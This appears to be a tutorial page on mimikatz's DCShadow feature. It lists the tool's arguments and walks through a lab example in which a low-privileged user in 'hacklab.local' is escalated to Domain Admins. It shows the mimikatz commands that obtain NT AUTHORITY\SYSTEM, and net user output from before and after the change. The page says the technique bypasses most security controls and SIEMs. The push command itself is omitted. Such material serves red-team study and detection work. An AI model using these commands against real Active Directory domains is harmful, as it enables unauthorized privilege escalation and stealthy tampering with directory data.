DCShadow is a feature in mimikatz located in the lsadump module. It simulates the behavior of a Domain Controller (using protocols like RPC used only by the DCs) to inject its own data, bypassing most of the common security controls and including many SIEMs. It shares some similarities with the DCSync attack lsadump::dcsync. More information for DCShadow can be found on dcshadow.com.
Command Line argument(s) to run as SYSTEM:
/kill: it is used when you want to delete an object
/object: The Distinguished Name (DN) of the Active Directory object to modify
/domain: the domain to target. The default is the current domain
/multiple: an array of values (specifying multiple values)
/replOriginatingTime: As the name instructs the replication originating time. More info can be found at this guide
/replOriginatingUid: It specifies the UID of the domain controller which performed/requested the change. More info can be found at this guide
Command Line Argument(s) to run in push mode as Domain or Enterprise Admin:
/push: push the changes
/stack: stack the changes and then replicate them all
/schema: The active directory schema partition
/config: The active directory configuration partition
/root: The active directory root
/domain: the domain to target. The default is the current domain
/dc: the FQDN of the domain controller
/computer: The FQDN of the computer to register. The default is the computer on which DCShadow is executed.
/viewstack: View the stack of the changes which are going to be replicated
/clearstack: it clears the stack
/manualregister: it registers the server manually
/manualunregister: It unregisters the server manually
/manualpush: it pushes the changes manually
Escalate a domain user
In the following example the low privileged user hacklab.local\optimus will be added to the "Domain Admins" group:
C:\Users>net user optimus /domain
User name optimus
Full Name optimus prime
Comment DCShadow ROCKS
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/31/2021 2:39:23 PM
Password expires Never
Password changeable 11/1/2021 2:39:23 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/7/2021 3:32:28 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
Obtain debug privileges
From a command line opened as admin, obtain an NT AUTHORITY\SYSTEM privilege.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
724 {0;000003e7} 1 D 43713 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0027cbc0} 2 F 3960324 hacklab\m3g9tr0n S-1-5-21-2725560159-1428537199-2260736313-1730 (12g,24p) Primary
* Thread Token : {0;000003e7} 1 D 28479033 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
After the successful pushing the user is now part of the "Domain Admins":
C:\Users\Administrator\Desktop\x64>net user optimus /domain
User name optimus
Full Name optimus prime
Comment DCShadow ROCKS
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/31/2021 2:39:23 PM
Password expires Never
Password changeable 11/1/2021 2:39:23 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/7/2021 3:32:28 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Admins
The command completed successfully.